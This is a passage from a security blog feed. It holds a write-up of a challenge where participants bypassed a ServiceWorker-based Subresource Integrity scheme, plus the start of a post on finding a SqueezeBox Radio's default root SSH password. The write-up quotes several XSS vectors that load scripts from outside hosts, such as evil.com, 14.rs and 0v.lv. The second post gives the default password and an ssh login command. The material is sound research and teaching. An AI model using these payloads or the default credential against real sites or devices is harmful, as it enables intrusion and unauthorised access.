&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sriHash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;integrity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;INTEGRITY_METADATA&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetchOptions&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;integrity&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sriHash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;mode&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cors&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// if we have integrity metadata, it should also use cors&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;omit&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...and omit credentials&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nx"&gt;cache&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// ServiceWorker lets the document proceed fetching the resource, but with modified fetch options&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fetchOptions&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The goal of the challenge was to make the document execute your script - essentially bypassing the ServiceWorker. To facilitate such an attack, I implemented a simple reflected Cross-Site-Scripting (XSS) vulnerability and hinted to its existence in the rules. XSS in general allows executing all kinds of scripts. Inline as well as from a specified URL. Because we wanted the script to go through the ServiceWorker, we have also hardened the challenge with a Content Security Policy (CSP). Content Security Policy is a mechanism to restrict how scripts can be run from a website. The policy that I used disallowed all kinds of inline scripts in tags or event handlers (e.g., &lt;code&gt;&amp;lt;script&amp;gt;...&amp;lt;/script&amp;gt;&lt;/code&gt; or &lt;code&gt;onerror=&lt;/code&gt;).
This essentially required an attacker to request a script that is living on their own domain, thus forcing them through the ServiceWorker.&lt;/p&gt;
&lt;p&gt;Unless, of course, the attacker was able to find a browser bug involving an arcane constellation of markup that does &lt;em&gt;not&lt;/em&gt; trigger the Fetch Event declared in the ServiceWorker.&lt;/p&gt;
&lt;h3&gt;PEBKAC&lt;/h3&gt;
&lt;p&gt;As it turns out, most browsers bypass the ServiceWorker when reloading a page with CTRL+SHIFT+R. Not only did this cause some invalid submissions, it also took me until the day I am trying to summarize my finding to notice that I have incorrectly approved some attacks when they do not actually work. This affects the following submissions:
&lt;a href="https://twitter.com/0x6D6172696F"&gt;Mario Heiderich&lt;/a&gt;'s vector is &lt;code&gt;&amp;lt;svg&amp;gt;&amp;lt;script/href=//14.rs&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; (which is even shorter on Firefox, because you can leave the closing &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tag out).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;But it does not work&lt;/em&gt; unless you hard-refresh. But with a hard-refresh, even &lt;code&gt;&amp;lt;script/href=//14.rs&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; works, because, well, hard-refreshes bypass the ServiceWorker.&lt;/p&gt;
&lt;p&gt;The same goes for &lt;a href="https://twitter.com/arturjanc/"&gt;Artur Janc&lt;/a&gt;'s submission. His approach looks like this &lt;code&gt;&amp;lt;base href="//14.rs"&amp;gt;&amp;lt;script src=/&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;, using Mario's short domain name. It also falls flat when the ServiceWorker is correctly installed.&lt;/p&gt;
&lt;p&gt;I'm sincerely sorry, but I have to gently wipe you off the leader board. I admit I should have done a better job at testing.
I'm very sure you would have found a valid solution, if I had judged the challenge more properly.&lt;/p&gt;
&lt;h3&gt;Bypassing the Service Worker&lt;/h3&gt;
&lt;p&gt;Now, let's head on to the first submission.
First blood was drawn by &lt;a href="https://twitter.com/magicmac2000/"&gt;Manuel Caballero&lt;/a&gt;, who figured out that a script loaded in an &lt;code&gt;&amp;lt;iframe srcdoc=..&amp;gt;&lt;/code&gt; is not going through the ServiceWorker. This is somewhat weird, given that a script running &lt;code&gt;navigator.serviceWorker.getRegistrations()&lt;/code&gt; in this iframe returns the active ServiceWorker at sri-worker.js.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/kinugawamasato"&gt;Masato Kinugawa&lt;/a&gt; promptly followed suite with the same attack vector. He also noted that a simple &lt;code&gt;&amp;lt;script src=evil.com&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;-style vector also works in Private Browsing mode. This stems from the fact that the XSS vulnerability usually wins a race with the ServiceWorker registration. Note that the ServiceWorker must be registered from a separate JS file, since inline scripts are disallowed by CSP. This registration happens asynchronously and has to be faster then another script tag that is controlled by the attacker. It's certainly noteworthy, but I did not count this as a valid submission: In a real life scenario, an attacker is only really successful if the victim has a session associated with the web page and has also visited the web page before. In this case, the ServiceWorker is already registered and the bootstrapping is a no-op.
I admit that this is a clear gap in my rules, so kudos to &lt;a href="https://twitter.com/kinugawamasato"&gt;Masato Kinugawa&lt;/a&gt; (and some other folks who found this issue later on)!&lt;/p&gt;
&lt;p&gt;&lt;a href="https://twitter.com/insertScript/"&gt;Alex Inführ&lt;/a&gt; sent a solution that also used iframe srcdoc, but added the sandbox attribute, which cost him a few more characters.&lt;/p&gt;
&lt;p&gt;In a similar vain, &lt;a href="https://twitter.com/sirdarckcat/"&gt;Eduardo Vela&lt;/a&gt; sent me to &lt;a href="https://0v.lv/?e"&gt;https://0v.lv/?e&lt;/a&gt;, which contains an iframe sandbox, that links to a conventional XSS on the domain. The trick here, is that navigations from an iframe sandbox pointing to a website with a Service Worker will skip trigger the ServiceWorker. This is a nice find, but wasn't considered a valid solution as it required user interaction.&lt;/p&gt;
&lt;h3&gt;Implementation flaws and assumptions&lt;/h3&gt;
&lt;p&gt;Having looked at those submissions that the ServiceWorker does not see, let's take another look at the rest of its source code. Some submissions also found implementation bugs. Here's the code right after the white-list check. Again, I'll add some extra comments.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LOCALFILES&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{};&lt;/span&gt;
&lt;span class="nx"&gt;LOCALFILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/style.css&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sha384-q2bP418TFL/LOAo5XrjD7OciiOi63q6OKnDH67oOGNkWc/rvUaWpynoatxySxEPF&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;LOCALFILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/sri-sha.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sha384-TKCoLrAkiPTzJzLNLqSmFqC0XA9PCMUwSYg2E/FosZEy7h26mwR9wONvTZ9Zvtj9&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;LOCALFILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/initialize-sw.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sha384-32IhktVnY10EwfUKtlhYBUoBysS2QM8cmW1bW2HENM3nIEmGDNwpkqdmpaE2jF7Z&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;
&lt;span class="nx"&gt;LOCALFILES&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/sri-worker.js&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;sha384-rRSq8lAgvvL9Tj617AxQJyzf1mB0sO0DfJoRJUMhqsBymYU3S+6qW4ClBNBIvhhk&amp;quot;&lt;/span&gt;
&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// other free pass: same-origin&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ownLocation&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;origin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// we allow ourselves (the forward-slash) and paths required for the website to work. some stylesheets etc.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;parsed&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;pathname&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;LOCALFILES&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// note that these requests do not require integrity. the integrity metadata in the object was left out here. &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// this is mostly a decoy &amp;quot;bug&amp;quot;, which I was hoping would confuse people.&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Fetching same-origin thingy&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;LOGNAME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;] Can not fetch &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;. No integrity metadata.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// cross-origin: blocked.&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sb"&gt;`[&lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;LOGNAME&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;] Can not fetch &lt;/span&gt;&lt;span class="si"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sb"&gt;. No integrity metadata.`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;respondWith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To briefly summarize, we first perform a same-origin check and then allow files in the same origin that are contained in the &lt;code&gt;LOCALFILES&lt;/code&gt; object or the file &lt;code&gt;/&lt;/code&gt;. Even though the object contains hashes, these are never added to the request and thus never checked. I did not think of this case as a vulnerability and mostly left this inconsistency as a decoy.
For every other type of request the code responds with a network error, i.e.,&lt;code&gt;Response.error()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Thinking outside the box&lt;/h3&gt;
&lt;p&gt;This fine submission reached me when I was leaving the subway on my way home and I &lt;em&gt;really&lt;/em&gt; did not understand what was going on:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://serviceworker.on.web.security.plumbing/index.php/?name=%3Cscript%2Fsrc%3D%2F%2F0v.lv%3E%3C%2Fscript%3E"&gt;https://serviceworker.on.web.security.plumbing/index.php/?name=&amp;lt;script/src=//0v.lv&amp;gt;&amp;lt;/script&amp;gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The really important thing to note here is that the request URL contains &lt;code&gt;/index.php/?name=&lt;/code&gt;.
This trick is called &lt;a href="http://www.thespanner.co.uk/2014/03/21/rpo/"&gt;Relative Path Override (or RPO)&lt;/a&gt;. A technique first described and coined by &lt;a href="https://twitter.com/garethheyes"&gt;Gareth Heyes&lt;/a&gt;. RPO attacks the fact that the script is loading resources from a relative path &lt;code&gt;initialize-sw.js&lt;/code&gt;. The attacker providing a different request path, can thus mess up the additional resource loading. The website will attempt to load the necessary files from &lt;code&gt;/index.php/initialize-sw.js&lt;/code&gt; instead and therefore fails.&lt;/p&gt;
&lt;p&gt;This is of course extra nasty, when those scripts behind relative paths are implementing security features.
A truly nice find, by &lt;a href="https://twitter.com/sirdarckcat/"&gt;Eduardo Vela&lt;/a&gt;!&lt;/p&gt;
&lt;h3&gt;Conclusions &amp;amp; Acknowledgments&lt;/h3&gt;
&lt;p&gt;It's interesting to use fresh technologies like ServiceWorkers, Subresource Integrity and Content Security Policy (heh) in combination and see what happens. Building your own security solutions on top of the web platform is a very complex undertaking and makes you realize that those features were created ad-hoc in a very unsystematic way. As a result of that, I'd advise you not to implement hard guarantees about regulating &lt;code&gt;fetch()&lt;/code&gt; calls using Service Workers.&lt;/p&gt;
&lt;p&gt;But it's always great fun to think of something interesting and then have yourself proven wrong in the real world. Thanks to &lt;a href="https://twitter.com/annevk/"&gt;Anne van Kersteren&lt;/a&gt; for making me look into an implementation of Subresource Integrity (and &lt;code&gt;require-sri-for&lt;/code&gt;) with Service Workers. And of course, thanks to all the participants that tried (and succeeded) to break the implementation in various ways.&lt;/p&gt;
&lt;p&gt;If you want mandatory Subresource Integrity, I recommend you look into the SRI2 working draft. The &lt;code&gt;require-sri-for&lt;/code&gt; CSP extension has been implemented in Firefox and Chrome, but in both cases it's behind a flag (&lt;code&gt;security.csp.experimentalEnabled&lt;/code&gt; and &lt;em&gt;experimental Web Platform features&lt;/em&gt; respectively)&lt;/p&gt;</content><category term="misc"></category></entry><entry><title>Finding the SqueezeBox Radio Default SSH Password</title><link href="https://frederik-braun.com/squeezebox-radio-ssh-default-password.html" rel="alternate"></link><published>2016-09-02T00:00:00+02:00</published><updated>2016-09-02T00:00:00+02:00</updated><author><name>Frederik</name></author><id>tag:frederik-braun.com,2016-09-02:/squeezebox-radio-ssh-default-password.html</id><summary type="html">&lt;h2&gt;TLDR:&lt;/h2&gt;
&lt;p&gt;If SSH is enabled in the advanced settings, you can just login with the default password &lt;strong&gt;1234&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Given the age of the installed SSH daemon, you will likely have to enable legacy cryptography like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;ssh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;oKexAlgorithms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;diffie&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;hellman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;group1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;sha1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;aes256&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;cbc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;oHostKeyAlgorithms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;dss&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root …&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;TLDR:&lt;/h2&gt;
&lt;p&gt;If SSH is enabled in the advanced settings, you can just login with the default password &lt;strong&gt;1234&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Given the age of the installed SSH daemon, you will likely have to enable legacy cryptography like so:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;ssh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;oKexAlgorithms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;diffie&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;hellman&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;group1&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;sha1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;aes256&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;cbc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;oHostKeyAlgorithms&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;dss&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nx"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;ip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;address&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Read on if you want to find out how I managed to &lt;em&gt;crack&lt;/em&gt; the password, because I did not find the &lt;a href="http://wiki.slimdevices.com/index.php/Squeezebox_SSH_public_key_authentication"&gt;existing documentation on Squeezebox SSH access&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Prelude&lt;/h2&gt;
&lt;p&gt;I have a SqueezeBox Radio at home. It does a nice job of playing music from the internet and from my local network.
The radio is clearly a linux device and it even listens on port 22. But I don't have the password and this always bummed me.
I can stream music to the radio from my local network using the logitech media server software.
When migrating server hardware, I looked around what to keep and noticed an &lt;code&gt;updates&lt;/code&gt; folder in &lt;code&gt;/var/lib/squeezeboxserver&lt;/code&gt;.
It turns out, that when the radio asks for updates, the local server is in charge of getting the update file and providing it
to the radio.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;updates/
baby_7.7.3_r16676.bin&lt;span class="w"&gt;  &lt;/span&gt;baby.version
$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt; &lt;/span&gt;updates/
-rw-r--r--&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;freddy&lt;span class="w"&gt; &lt;/span&gt;freddy&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14771422&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Sep&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;07&lt;/span&gt;:54&lt;span class="w"&gt; &lt;/span&gt;baby_7.7.3_r16676.bin
